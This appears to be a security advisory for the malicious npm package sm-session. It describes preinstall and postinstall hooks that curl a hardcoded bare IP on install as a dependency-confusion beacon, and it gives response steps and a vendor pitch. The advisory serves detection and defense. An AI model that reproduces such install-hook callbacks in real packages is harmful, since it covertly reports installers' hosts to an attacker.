sm-sessionnpm
Advisory published Updated
sm-session is a confirmed malicious npm package (MAL-2026-14400) that opens a backdoor for remote access (malicious versions 99.0.0, 99.0.1). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in sm-session (npm)
What this malware does
package.json declares preinstall and postinstall lifecycle scripts that each run curl -s http://16.192.173.5/sm-session/pre and curl -s http://16.192.173.5/sm-session/post on npm install. The destination is a hardcoded bare IPv4 over plain HTTP with path segments identifying the package name and lifecycle stage, so every install signals the installer's host (source IP, user-agent, timing) to an operator-controlled endpoint. The behavior is the canonical dependency-confusion reconnaissance shape: a name-squat package whose only install-time action is a callback identifying which environments resolve the name. No legitimate package purpose is served by a plain-HTTP beacon to a bare IP in both pre- and postinstall hooks.
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
The OpenSSF Package Analysis project identified 'sm-session' @ 99.0.1 (npm) as malicious.
It is considered malicious because:
- The package executes one or more commands associated with malicious behavior.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Backdoor / remote accessFind it
Search your lockfiles and build artifacts for sm-session (2 malicious versions).
If you installed it — respond
sm-session establishes remote access, so treat any host that installed it as fully compromised. Isolate the machine, remove the package, rotate all credentials it could reach, and rebuild from a trusted image rather than cleaning in place — a backdoor may have planted additional persistence.
Did it already run?
If sm-session was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
- OpenSSF: Package Analysis · finder
Detect & block this
O3 blocks sm-session-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the C2 callback and severs the channel.